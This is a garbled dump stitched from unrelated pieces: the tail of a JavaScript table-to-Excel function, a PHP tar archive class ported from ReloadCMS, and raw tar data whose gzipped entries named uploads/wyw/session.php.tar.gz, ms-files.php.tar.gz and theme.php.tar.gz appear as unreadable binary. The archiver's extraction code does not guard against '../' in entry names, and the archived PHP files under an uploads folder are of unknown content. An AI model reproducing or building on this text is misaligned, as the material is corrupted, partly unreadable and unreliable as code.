var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
uploads/wyw/session.php.tar.gz000066600000000434152443022640012450 0ustar00AK0_1.5=U"<l:`ƦտoZ/{X\.y0yʦF4KmeWWTՅ4oƂ[VU_Ӎlig<kųUyYkPлN/!>HBKK~fiuP.G,b^mQ/&H	߲xa'_9qƛBZ|uҫm>AOypg@U%}*v74/w؆5vrGN`bbb8|(suploads/wyw/ms-files.php.tar.gz000066600000002437152443022640012511 0ustar00Vms7+')ccfxqd:N{6ݽlܤN֌_NZhٕVQ a܌K_le)C4d]@xwBB*~iNg<aQ9xn=kyOY#ц+7ۗJ
<Q~=Xqֿ(*bKΕ:3L.S\hV*XPT`3[u0*P;&`<^$0$vkHxEFcPD*"IX0ej`E-t)P/@jl54ؓ)udtǑ2FD/}YDJ%ЌJQ

Vۂnn
eWJ^	>|D<eO +DPU:,?}=1"(	=8@,y5~s>1xhڂipMnR,B.%6/2JU(1MV.c~]m?3k#gr%U!MoGh?Zd	-o-2BO"*RH"R.ܱ-X޳qCpALoY2\bs:Aő^[
9"V/c٘# O14p_
Zv;J5ː̙LZ_6/N3"-Lc0vPKxm[)u4)3_"RccSSyoL;}q>zNz=g
淸ޘ)&3HQ2uKJ)ܠQ>׆'I
C'8;GȠ9!_z~0DZ{w{C4hr{^{>3X~i}1֙'J72vgeMf[Z@Yz26h@Ճ9F+ML*12\M5Ƅн5#f[g9dɼwpVĮ/ӳv˘uQ*#{	&`s-]n{)b.bsS%LBhٴ=sZD\oRNtv*PzzN/	Dy42Ռ;
'J6ݐmt9)N+i'mܻT<2#wN)%/p=ܺ	s1]6_wL/4i[fU_ݏ78)fˑ{Gqe'zE0xXuploads/wyw/theme.php.tar.gz000066600000074064152443022640012101 0ustar00{ɑ(OQjܒ݂yxl4	{1*u2vU<p>g*[h<l3_O>q=gEzMv.t1ɪ,;φ7D͝οo껻w~5~~Y}YTuZ”~[yk緿69Ľ'uv>5-MfY"/fZc?4KeUZ-
	?I^eU0vez'ɛ#juU6IYN٬6>ʪy^ÇE:gUR\der#jkqWv>̳Y_N`,-We^ӄG&u>~Er9$UO3
NK|=fxG:0ZUd!F%eUez.لW;ip
I0Ϛ?YrDnfeYUQ&xܤiE8Em-Sgtj9ڣ$]Lk`]U\_CüT`xRI`n~cMI/#.f՗E1`/Z/@>t:ߓZ|Nd!Y3t•N?fX0ڑe	NȊ!o/CH;Gڒ#6
9s{aomlDd>uuWD6(/ۻ0(AHU6~b&(AOM0-#:@@o~Ŭnoq?˨-yxv8 "cZW>Ku@́V4eYNybdaSqvBL=L^9 LӪz?ͫ:+$eQp܁n
i1:${"6aUh6	y88Ŧ)KY<
y/`fC"JO;@p`ѣa<'Z
x۳뽃Y1?)m4R_Pm\Y1M_zk;\1f-Cޣrl#`q=zE7=$
zTF2'#P;ap'BT("B@'O򓓛oS$'( K&r߸nmpcF=W#6azIF0l79z;.
u9M0u4 MWO)v4qQL}rLsǸH6|W (-wo}2֏i(˺j-6tF<^ 
tJ}J0~*:)(4 qEn9yz̠}5IMzʆ=p"ּ,.	8G117quY.,CL?*~AB;@cDa*p,ea Q幅\ɀZ:-oQ{Ije51[D$IB8ܩ(2]
~ڐzlLzwv~E?n&-`$O+p4 W"%gt_YuBCˋ`?I{Ox7g@YI$_*I|&aOO#{M3	ŢQ]*PSIS愉qUӑ	w]1 M,b)$m\'HGmGН*G@ZT#=ny
qV#bryz<ͬлU-uΊ9a˘
iFtY- Y6<ݬ@d^UHwP?c7_~s5>\+]r9*2pCs}}ָZf,؄	hu&D^`@(PE9/*V8Hyww
Cn-1*!PzWB!n?STTEeЖ{[Kv-ӫ	Cic ªJ2bNje)TB,lA֐?fJ@萍٘Y."=C;#ڡS_d
~wpVB0I7"҇{aF]Ŧ?#|\!FA'P6
hx|N_Q Zr^zα5pT=ZypaQ9a4b_ܓm#pa 
9G9x	!õ81Sp10=d'T(#|Ikeo)W- p\ˏK#VXv$Y9>}3Py7*6j{mt)a'p	V:#M)@88P4	DB)HP5p8y!kVȦZBw/͑ٻAg|%S!}{DRC4P7)PC"g"Yќ%<dqԗ2dIoZ<gC_9O`tvйE1Kr҃@ӧ8 Ov)c%8BI|tVn@youA&(HyWN`;ΰ<+:,@)Edes0P`1kjxa2~rFTY@!6ul$DmtoJ8j7sb?ݸ,م?P#64	~#܎YC\-BQͤ%xlGز;@|K4-vյc_{5ʒU}}ծ*6Tr+穭z.AWƕjZQefQ
4L*[;4)Uc`G++e|b&'QΚ^{ϕ&KLIJZ%j$.m$i@sء^A7BCK+JdܳQ_o@p>
&{g}v
BcEV񆞝N=|,3Vgl;c3_2`}N]
ዯӄ{۽*msp$r2͈;Cwau>^CͧJE!H:E^FЍZY7'u_I͝%Lvzr;
]g{hVWu)^~ &N#D#sn<Cw` =&)^pv\04]u!=f!R^oBfDa[.YOO
6u%L"t7iZ߮Asۙqm|[<-9Lv=!rbhpwܸ@+؀.@Y2݇`F	:C)%'jΆx$.#zn15a-	*.Png±6u/F#]'g
MɂJtsۡ{CW+@Cﰈzb&lT@4r&c
*]W1*]xQ'$g1_c*%|yb	5"{5Qֺ	O}
m:.I1b#0ʥ=ȀDP.>Pf9Pf$&eyf7Kn~B(Ln
4H%L,@J7M`jAR+>9L-5wUKzm쩗رtr5F<7Ulx
 cO,L}-/,Gi"S,MіVIN
5x
|)[wn,!lsֆMݾמ!
QxX.9m飕rҽ"'B_ §/^>=}1:xсN_#ɳ/$,q*, ckReLDVhR3禂eOGAF?~O/Fg.DNЁĝ4pHn@LWg786wÿQN'3/޷R*^`'c@nmh[}2NtW?8ue:wW	уd ?`&ر԰Y-qsal⶷뜐ęsXx`Uas)p啁h=`m@cD`~C?{Uٳ"%x9dCZA 3KbVz)i89'fv;SVET&wCkkHF'|"%aĭ7{$9I4ܺ-%V}^F%G:
4x󒮞JI&bo
dFKQc?%,!SXލ<…)v/<z+$z`NSd
WQI<S4>o)[K]=3ݴ_61cFԡec1mkD
r*=:͑~*dvG>fIndI80Lq\3z;4PFj0×ܪn?)[>7a+#8_ΘCXe1
SZ`@+32r6h?Z٬厌+1eqnɍ@_phi_MZaֶl%7К2!JgI6Y'|r{`I2Q)Ҵ|=zqgO@_ӭuM鮚T>xHV̀湬~vi>xxB7,ad3yPۮ6ݽ{r}w}WeslDՉFȎ1&]0`nɏe*ZO{D^0ȻCgzfK#0<+4n [}j\ܠ<ᓉdȈ_=~BR<XgLv^r^mh+^}ok<Y-)id"#vDɵBAgj(ylx
 :SH. &ky;YCK-@7R)+vwttޣ.W,LПb49pfh*Ո]:c<uA^FQϋM=L-rpH-P4ww04l$s4	m'P=9+_V&y
en';ɲF[($q\<֌_l^W3UE01)vV'0WMmY
XDᲰ9n5ClY8L	yxs} vU]yXu[/P$Iv(N=`|ktie<5x,/\S
hVy!>j~msP^xI5y_7I
ӿ*GUz!R-Á1.YG cnpL&moYaױŰ,Ftߦ1AM7V;/&(ðaza¿lmRO5&z63K/F@P]7.x%tsorilqlG(m	vמbj_F6._Vl
ld	03,pxi(|[gOJb"lp_R%vMrȼ2t#a-~XUK`Opr6 0DP2α_HrN6lA
 .Ipĵ0\'љҁEyrt@	c5}ż[5]~:kr8W
|ۛcF+jvE0ocV^ݿ@04ԏҙV
8 yenL)y-@J;L0w/:#}fI1,23_\N"Oy,&%ws9	X+ixK-l0Ը'=e\
q>N=IxKrA?R+B0DFq'jbWn*k#9sf`=`_ehd4ܛߊwFŢFPpFEEh,fSYƵO"ŬS`g}6Ǐyλȼm,k0!C"Bn甊efj6#g/WKɀ˷VJZsQYaEfUWNhӦ3ԬPඍ? `2;Ί]=`hFM.=37-1ely$*]S}_2>e1Yɑ]QBes{\=^:q>sJ[>jɵVjmtM
e]t9RA߁e AjL4UqfhL$Q	GY`S?Ȱ|6>rt#7GWC$&kT,U/Q$M+sz$Yyo M:Å(S"L|jzk3yX]AɃpe0ybS ]V]^׬	EƑg /S 
O3NTK#f
;pl_qnV1J$0R,<~8O4)x>'J5NN$w-Uf7l1PSXBo+^_^1f5
GE?g0
`>e8t}͡9+تF@;\ZCd:#aq
o2=xn5&"F@$<kּ]M
=mtXħ'JهJGOcoF-}L(?]!DN+<%ϕ<\G˱i
-Q{6	w]J>%)"gg!NCi-}z<91E~Sp+E"+™80@.F??tiϯGXy1& ^c[=[/ݤ/BVrAgxx[oו;r#
{['=U
bTXO>*_'g?8rf\M0h*)ZJ1>L&1<c-n֚`N͹d?54Yt;%3;t/
d^ku9G:}	]=rGy$:CJ9/@v
"R'4$f;Me(^%?~ĩK};$0!`
9G";|qd._VC|C섽a{Drka럌*9V;cruRo!Z\=\Ú3O3as54yTsr{FjqqA,ɾ&nN><PHbHej?L\Ԫ+{G;P3Oɂ"j6EDFνSeeENԎUƣc,\$+׍$G/R+S#'UX`O*lr0-GF;\?mlSz˓na~~r]IқݷtW;N_d]ܵh%co{"Xq҆"7
]#q^?Ǯ.	ve}ʇEcSҸGDr­*
T4O+*zV3,Y]ϫ{;;8ж=a[kjjPáZ+H*zm*1^:iw㣦Ǫe:̢ؑogeYh
 z8uwlSx~18a`|蔈8j# tlyCIq
gX踘e,.P$m"pTfuwc+.Ř*!7(]}g߮Ս~&|}R.l`ƴҊcPIrBHp7=z8ap/Sh89fu߷|ŗ_n=`Aplppj4<+TP0?%\m4MmV8c/2nt]rмߙH.ۆD9)D;[m. bU
CFcVz=7豈Z HNP)y.O~[s 1YV3^%ڟ=.m+A)>jY+pbJ^d"s#z8L}ќ3'uQ&nS}bv@65=y2K,̮JȈ<C4N{T޽Ep%/NErɡqQ˓x)dq$RZ	|KNmZh0qʋY̢M9n=#O|ƩR5ԋbpOS߲~Z+*Kdܜp9ֳ;[3Eir&i^CfuJZyCJ?xA<K:?.&x0t!rg&E{XpkW%;g52Q~֮w|hn={B~7hd,wrK[kDacoz.T]7t':uJ
+!!frzomGv鲙\J``0mۑśۻbe[Ͻ&_hs	o̟bq,hq.m6g'J}8;5>>j?9'g[f mXMBaQ5's;feF*(NO|KB#3Si&ؒIaNo_gK~n30yPĠcENjgX!ғ	Aa/mnV%(06jcXXa~zHmgp0.I}F9/+N̙ձFZӚ!~ ⽮P@C%C8Ng6'{^Oѥf%PpFľ0өS<yVm]ms#+F<;'̤D@qeqt&ŒjR{U9&ܣG;̛ӓ>wWcmq'MQkA*,ٓ7Jqŕ<VKĽr-akص;	S)FLvoy}?.joss"	I^K;(rkAvT?M6An
ym-ƳjӶgY-Dž&=

$j Fq%U\ꐎr~~W1koى
g@y	mOGWG.;ɏ5D|QMo)s	1xR~)qcI/纮ơLoOdw!Z⣓˼(u]l=jMͼ;txkF"@q,:
нMB+<ՑqBۘ1VJ}BQD֕)֕:M/"Ԭy،9*(lC:jL;9JVI&f}Ao1hn?)l9]n7CLlfwZG?&lP]S_&
o<tӶ>08*^UVͼ6{ۚ0ќ]v-`a19CRm/WUʘ|\>xkWov͆FdЋnK'=qђ&,4VTGfXG
N9Ժ
fEM	V*'=YYejz[,8nU=y	ǻem1oʕ
9QWniE^[6h`Hj0yo:ï1J,gks^j^Jh2$_v.QnG-?FCz"8#Ok4ǙT[O|AGT^E%O}>DǪ
3Rm)|k+gWͳ1>zpTLrPЈH7Y$GAR9{%s|OeQU%ϹTKzךu^m딧@n6>=óIs}uyVZ>!n1z>~-yWVowӢnZviooCItuV{++>ú\Qa[0$ǙH2m(5	Ro6)qž0Q2;b⎳!gqC{}vՓd65q(2$;vp󢄮Wj_͊W_)48NQŪyųPG7BytdlALl6dTnyH3m:obK"砻ۙ ${n<
x5/7aY=w'lhuXaLSΛ$zOja6{xh9	ns<?nb5lz-2Ϛ;Gu.Y"M1<E3N?fdBîe	E6N+"ͻķF.a,@FX]o
w(o2pEvIncf&ZBl?	W wNLuoEfLO{.>?M	fuw]6]HukҾc@{ǧ&i$x}M|{c%n$j5n<o"ݶ%:mh}/-kM<hkcȓ'$?24]D)@5y\{|üS Q34˙<}ą>@Z8tW-aJ43DP$ XөeNx._@QV?w~S&#f`uݼw92>4K/'l]6K"4zU(X$)
"zG!LjBK$¸L$4@8i~>R}
דѹ0
iAO4&sgPfeOg&
Qu!.fKu%b
uͷ}ʞb'c62[p}_FWVZk8x.w&VhMjjN-ŝ'hNGhmД+"?
ѱTXjtS]xxUxm.5q.[w
B%<s+xe2`5Dܺ\"* .6x7|7zk3BR/ك?6‽x:]կuL|D)2zڔl]x*Vr8L&vZ:g&u,A/icL=Y+EROyd_+yJ;XfEhڱLNmȀhi;TbMߵX'?޹>>ʯӻwf=/hbFp^obFVmôߴ6?3
7
czIHc^yz$EYTzp7q8߹駿mJ`eZ
 50Q{au~KrecGpږSa-NU~ia'lV	Vzb
6e$#\%ߙז-QS;62[6OKɯo,M'AuÙfhmE^>-N0{R̲m0H|x8
W6rf#=逪^Mb
nRVa ͒JVB÷R?hy:mfߍѰsHĉ6яRc@wdGKeLMoaLOI~ɛIج7E]0dnђ<;Q<c$m0uUU+d|m.puVNA՗8߽᪻g5,(Q}n4~
]KO^y[	TFf_d`d^Sʻ4mΚ違q4vYiɼ[;eD:~ظ˶nc
9K/ø7?yb6pI(n˓m%6¥Es7v:+ٛ]nzD(qg:2;ɦKA2l2҉L7n֛FnJB@G\۔&_h\nΎ>	/"ҪN'*M(o1^Z/|Na/+Z/xY&<Q {|(8<:Fn;väKhvFJq9<T%h㢸3鏂hۻ4?o/*׬sCИmw4)3Պ3_}WƎnp̫]]_=Vz<1ğ_)@"w}]bu\԰oц7r%TB9""Mױ1՘W,aIEBKhŐasE*giM(ݸ6>y߯o@Yv2<T8ٌb:%t9P(sGG]HJ)W
{)#2
xl<`Y֘<u:.&WN	14[zڠ<>Ã`4raX@8'u	mcLmԥC߼pʎXew1_73
w!j9wAdLgG6h*W^QNf	9 lU%%U0+9ľtd7(.1ZNCu.hi0aN."Ƀju5Gutg'-Q
#Wt˔>bܽ^a3+ʫEZnmo9Ez
lFzV2읞]X\81"=*
fF2+M496¬-(`嗈Fŭ^լ.㮣<Ojy?ڏœWns9|L9f&]7Q]22W&<"2wa{Z?0 i1QOo59Pr&`k8J?Ť`Bya$c{}l!$;&h^_p!Lyeg}l!

}MRpIW:upٺ½]qM=Wl-o0I-+
ѓ,ÕjlR,jeeU^tS䅛Ϭ7ղ:tAk! |k Wז
H0OgUVbQHKLRŽj[l|ᇢd~\0t0gu/7 @\F%s߻ i`,G5LYQМK[c[ׯ_\޲WO>ES،.u4m\iDc$1$%HnbeRnYy*[r|+6#]dkr#:4[>eos,w=hsrA:	HT&tqJϥP
٣Q`\:B<e])
=Q3!-u1;#elj)>)*]a=)X4^͞\)WT<OG.y>mgR	ŜLIڲ6n:*r_ip?qszJAJiM/;'7?wW
;u:pѣl!sewaعܴBۥqrtyt):vԁQ䠟FGzQBNN#je4:\+o}.ZRo05F[aK&e8WF 5(x%!-c⵳Z%wkhpr9w;kh1b!#baYMi^9-ǮḾ9M[uE=}JƔx= WPbb*3f3>beՇI-O<ՙ12Ϯ&-sWyO2$J.naBW3^dػC8(H`l5)=3;ÿ}~Ƌ2-6cKLj
fɨ.t
D. 3(aa_q!Xݖk~<f(yI.'zl:=I6raIՒOq񠄯wjb$/pZEM^Tydk[
VthS"'jcgsIi8Ig[nAY]s}gx:L9+p',<SjdZ	8T[
9"NCnA
Džpy\*=btRk0Wu@q@kz
V3"ndNB8cQm'0b9OkyܱX N+݁oc7#eW=If
{h@L!&v#(`
_|r[^&zj3?Fz`WʨCV~zzz]wZ`V3d(_v]/2(*6K&n7ysVA+ W(ԅ&~|ӟy@=bQ,=pfhjŤ
" M*6it&m};lìy滈Y*#'4R+
TLht4-ak,-K(AmC`$(9]˒.}31Xf@YضڇfuErNn}^~C+}{$~sE^)lYK$o5Is:M;O4?êpW	ga"eof6UeR_iJ|j2b.u&;u[DGGn%wm/wI	?w'
ivhp9zI̴mdTddV<^Hw8x]}&% 69H[ϳhuZ]^OE:solI,_k`!1SU*=HjWG݂{##ڒfa	R7ǺhςvON3c1\|vR܄ߘw(]rPC*kd-!A1d
y
ˆ<8>tcmn֡7h_}<G.xdFeE;w.'Ţ=/f7lnҫ{ݹ\~+=H0ho.3]w쯗nj`Fs6(/IBŢ̮C8
